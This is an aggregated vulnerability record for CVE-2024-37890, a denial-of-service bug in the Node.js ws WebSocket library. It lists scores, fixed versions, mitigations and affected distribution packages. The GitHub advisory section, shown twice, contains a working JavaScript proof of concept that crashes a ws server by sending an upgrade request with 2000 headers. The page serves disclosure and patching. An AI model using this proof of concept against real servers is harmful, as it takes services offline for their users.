CVE-2024-37890
Denial of service when handling a request with many HTTP headers in ws
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Denial of service when handling a request with many HTTP headers in ws
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
CVE-2024-37890- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-476
- Updated
- 2026-11-02
EUVDEUVD-2024-1899
7.5
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
EUVD-2024-1899- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-3h5v-q93c-6h6q
8.7
ws affected by a DoS when handling a request with many HTTP headers
Impact
A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent. - Set
server.maxHeadersCountto0so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
- Record
GHSA-3h5v-q93c-6h6q- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-476
- Updated
- 2026-11-02
NVD
7.5
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
CVE-2024-37890- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-476
- Updated
- 2026-11-02
OSV
7.5
Denial of service when handling a request with many HTTP headers in ws
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
CVE-2024-37890- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-476
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2024-37890
7.5
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
DEBIAN-CVE-2024-37890- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 27 moreShow less
OSVGHSA-3h5v-q93c-6h6q
8.7
ws affected by a DoS when handling a request with many HTTP headers
Impact
A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent. - Set
server.maxHeadersCountto0so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
- Record
GHSA-3h5v-q93c-6h6q- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-476
- Updated
- 2026-11-02
OSVRHBA-2024:9549
5.9
Red Hat Bug Fix Advisory: .NET 8.0 bug fix and enhancement update
- Record
RHBA-2024:9549- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHBA-2024:9550
5.9
Red Hat Bug Fix Advisory: .NET 6.0 bug fix and enhancement update
- Record
RHBA-2024:9550- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHBA-2025:4932
5.9
Red Hat Bug Fix Advisory: dotnet8.0 bug fix and enhancement update
- Record
RHBA-2025:4932- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2024-37890
7.5
CVE-2024-37890 in ws - Patched by Root
Root has patched CVE-2024-37890 in the ws package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2024-37890- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-06
OSVUBUNTU-CVE-2024-37890
7.5
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
UBUNTU-CVE-2024-37890- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-42808 No score
CVE-2024-37890 affecting package reaper for versions less than 3.1.1-10
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
AZL-42808- Updated
- 2026-11-02
OSVAZL-43600 No score
CVE-2024-37890 affecting package js-jquery 3.5.0-4
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
AZL-43600- Updated
- 2026-11-02
OSVAZL-45066 No score
CVE-2024-37890 affecting package js-jquery 3.5.0-4
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in [email protected] (e55e510) and backported to [email protected] (22c2876), [email protected] (eeb76d3), and [email protected] (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
- Record
AZL-45066- Updated
- 2026-11-05
OSVCLSA-2026-1773360970 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 7.4.6-tuxcare.1.
- Record
CLSA-2026-1773360970- Updated
- 2026-11-02
OSVCLSA-2026-1774225216 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 4.1.0-tuxcare.1.
- Record
CLSA-2026-1774225216- Updated
- 2026-11-02
OSVCLSA-2026-1785380881 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.16.0-tuxcare.2.
- Record
CLSA-2026-1785380881- Updated
- 2026-11-02
OSVCLSA-2026-1785380886 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 7.5.9-tuxcare.2.
- Record
CLSA-2026-1785380886- Updated
- 2026-11-02
OSVCLSA-2026-1788560406 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 8.13.0-tuxcare.1.
- Record
CLSA-2026-1788560406- Updated
- 2026-11-02
OSVCLSA-2026-1788560420 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.5-tuxcare.1.
- Record
CLSA-2026-1788560420- Updated
- 2026-11-02
OSVCLSA-2026-1788560439 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.0.0-tuxcare.1.
- Record
CLSA-2026-1788560439- Updated
- 2026-11-02
OSVCLSA-2026-1790161463 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.11.0-tuxcare.1.
- Record
CLSA-2026-1790161463- Updated
- 2026-11-02
OSVCLSA-2026-1790164081 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.5.0-tuxcare.1.
- Record
CLSA-2026-1790164081- Updated
- 2026-11-02
OSVCLSA-2026-1790164156 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 6.2.2-tuxcare.1.
- Record
CLSA-2026-1790164156- Updated
- 2026-11-02
OSVCLSA-2026-1790174669 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.2.3-tuxcare.1.
- Record
CLSA-2026-1790174669- Updated
- 2026-11-02
OSVCLSA-2026-1790610738 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 8.14.2-tuxcare.1.
- Record
CLSA-2026-1790610738- Updated
- 2026-11-02
OSVCLSA-2026-1790776603 No score
TuxCare security update for ws (2 CVEs)
TuxCare rebuilt ws to address 2 CVEs. Fixed in 7.5.3-tuxcare.1.
- Record
CLSA-2026-1790776603- Updated
- 2026-11-02
OSVCLSA-2026-1792164186 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.3-tuxcare.1.
- Record
CLSA-2026-1792164186- Updated
- 2026-11-02
OSVCLSA-2026-1792443025 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 7.4.0-tuxcare.1.
- Record
CLSA-2026-1792443025- Updated
- 2026-11-02
OSVCLSA-2026-1793096799 No score
TuxCare security update for ws (1 CVE)
TuxCare rebuilt ws to address 1 CVE. Fixed in 2.3.1-tuxcare.2.
- Record
CLSA-2026-1793096799- Updated
- 2026-11-02
OSVCLSA-2026-1793112519 No score
TuxCare security update for ws (3 CVEs)
TuxCare rebuilt ws to address 3 CVEs. Fixed in 6.1.4-tuxcare.1.
- Record
CLSA-2026-1793112519- Updated
- 2026-11-02
OSVMGASA-2025-0194 No score
Updated yarnpkg packages fix security vulnerabilities
CVE-2024-37890 yarnpkg: denial of service when handling a request with many HTTP headers. CVE-2024-48949 yarnpkg: Missing Validation in Elliptic's EDDSA Signature Verification. CVE-2024-12905 yarnpkg: link following and path traversal via maliciously crafted tar file And other vulnerabilities in the yarn's bundled nodejs components are fixed too, see the references.
- Record
MGASA-2025-0194- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wsnpm |
2.1.0 up to 5.2.4 | 5.2.4 |
wsnpm |
6.0.0 up to 6.2.3 | 6.2.3 |
wsnpm |
7.0.0 up to 7.5.10 | 7.5.10 |
wsnpm |
8.0.0 up to 8.17.1 | 8.17.1 |
reaperAzure Linux:2 |
before 3.1.1-10 | 3.1.1-10 |
js-jqueryAzure Linux:2 |
through 3.5.0-4 | None known |
js-jqueryAzure Linux:3 |
through 3.5.0-4 | None known |
wsTuxCare:npm |
7.4.6-tuxcare.0 up to 7.4.6-tuxcare.1, plus listed versions 7.4.6 |
7.4.6-tuxcare.1 |
wsTuxCare:npm |
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.1, plus listed versions 4.1.0 |
4.1.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.16.0-tuxcare.0 up to 8.16.0-tuxcare.2, plus listed versions 8.16.08.16.0-tuxcare.1 |
8.16.0-tuxcare.2 |
Show 93 moreShow less
| Package | Affected | Fixed |
|---|---|---|
wsTuxCare:npm |
7.5.9-tuxcare.0 up to 7.5.9-tuxcare.2, plus listed versions 7.5.97.5.9-tuxcare.1 |
7.5.9-tuxcare.2 |
wsTuxCare:npm From an advisory covering 3 CVEs |
8.13.0-tuxcare.0 up to 8.13.0-tuxcare.1, plus listed versions 8.13.0 |
8.13.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
7.4.5-tuxcare.0 up to 7.4.5-tuxcare.1, plus listed versions 7.4.5 |
7.4.5-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
6.0.0-tuxcare.0 up to 6.0.0-tuxcare.1, plus listed versions 6.0.0 |
6.0.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.11.0-tuxcare.0 up to 8.11.0-tuxcare.1, plus listed versions 8.11.0 |
8.11.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.5.0-tuxcare.0 up to 8.5.0-tuxcare.1, plus listed versions 8.5.0 |
8.5.0-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
6.2.2-tuxcare.0 up to 6.2.2-tuxcare.1, plus listed versions 6.2.2 |
6.2.2-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.2.3-tuxcare.0 up to 8.2.3-tuxcare.1, plus listed versions 8.2.3 |
8.2.3-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
8.14.2-tuxcare.0 up to 8.14.2-tuxcare.1, plus listed versions 8.14.2 |
8.14.2-tuxcare.1 |
wsTuxCare:npm From an advisory covering 2 CVEs |
7.5.3-tuxcare.0 up to 7.5.3-tuxcare.1, plus listed versions 7.5.3 |
7.5.3-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
7.4.3-tuxcare.0 up to 7.4.3-tuxcare.1, plus listed versions 7.4.3 |
7.4.3-tuxcare.1 |
wsTuxCare:npm From an advisory covering 3 CVEs |
7.4.0-tuxcare.0 up to 7.4.0-tuxcare.1, plus listed versions 7.4.0 |
7.4.0-tuxcare.1 |
wsTuxCare:npm |
2.3.1-tuxcare.0 up to 2.3.1-tuxcare.2, plus listed versions 2.3.12.3.1-tuxcare.1 |
2.3.1-tuxcare.2 |
wsTuxCare:npm From an advisory covering 3 CVEs |
6.1.4-tuxcare.0 up to 6.1.4-tuxcare.1, plus listed versions 6.1.4 |
6.1.4-tuxcare.1 |
node-wsDebian:12 |
All versions, plus listed versions 8.11.0+~cs13.7.3-18.11.0+~cs13.7.3-28.18.0+~cs13.7.11-18.18.0+~cs14.5.15-18.18.1+~cs14.18.2-1 Show 5 moreShow less8.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.0+~cs14.19.1-18.21.1+~cs14.19.1-18.21.3+~cs14.19.1-1 |
None known |
node-wsDebian:13 |
before 8.18.0+~cs13.7.11-1 | 8.18.0+~cs13.7.11-1 |
node-wsDebian:14 |
before 8.18.0+~cs13.7.11-1 | 8.18.0+~cs13.7.11-1 |
yarnpkgMageia:9 From an advisory covering 11 CVEs |
before 1.22.22-0.10.9.2.1.mga9 | 1.22.22-0.10.9.2.1.mga9 |
aspnetcore-runtime-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
aspnetcore-runtime-dbg-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
aspnetcore-targeting-pack-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-apphost-pack-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-apphost-pack-8.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-hostfxr-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-hostfxr-8.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-runtime-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-runtime-8.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-runtime-dbg-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-sdk-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet-sdk-8.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet-sdk-dbg-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet-targeting-pack-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-templates-8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet8.0Red Hat:enterprise_linux:9::appstream |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet8.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet8.0-debugsourceRed Hat:enterprise_linux:9::appstream |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet-apphost-pack-8.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-hostfxr-8.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-runtime-8.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:8.0.10-3.el9_5 | 0:8.0.10-3.el9_5 |
dotnet-sdk-8.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet-sdk-8.0-source-built-artifactsRed Hat:enterprise_linux:9::crb |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet8.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
dotnet8.0-debugsourceRed Hat:enterprise_linux:9::crb |
before 0:8.0.110-3.el9_5 | 0:8.0.110-3.el9_5 |
aspnetcore-runtime-6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
aspnetcore-targeting-pack-6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-apphost-pack-6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-apphost-pack-6.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-hostfxr-6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-hostfxr-6.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-runtime-6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-runtime-6.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-sdk-6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet-sdk-6.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet-targeting-pack-6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-templates-6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet6.0Red Hat:enterprise_linux:9::appstream |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet6.0-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet6.0-debugsourceRed Hat:enterprise_linux:9::appstream |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet-apphost-pack-6.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-hostfxr-6.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-runtime-6.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:6.0.35-2.el9_5 | 0:6.0.35-2.el9_5 |
dotnet-sdk-6.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet-sdk-6.0-source-built-artifactsRed Hat:enterprise_linux:9::crb |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet6.0-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
dotnet6.0-debugsourceRed Hat:enterprise_linux:9::crb |
before 0:6.0.135-2.el9_5 | 0:6.0.135-2.el9_5 |
aspnetcore-runtime-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
aspnetcore-runtime-dbg-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
aspnetcore-targeting-pack-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-apphost-pack-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-apphost-pack-8.0-debuginfoRed Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-hostfxr-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-hostfxr-8.0-debuginfoRed Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-runtime-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-runtime-8.0-debuginfoRed Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-runtime-dbg-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-sdk-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.113-2.el10_0 | 0:8.0.113-2.el10_0 |
dotnet-sdk-8.0-debuginfoRed Hat:enterprise_linux:10.0 |
before 0:8.0.113-2.el10_0 | 0:8.0.113-2.el10_0 |
dotnet-sdk-dbg-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.113-2.el10_0 | 0:8.0.113-2.el10_0 |
dotnet-targeting-pack-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.13-2.el10_0 | 0:8.0.13-2.el10_0 |
dotnet-templates-8.0Red Hat:enterprise_linux:10.0 |
before 0:8.0.113-2.el10_0 | 0:8.0.113-2.el10_0 |
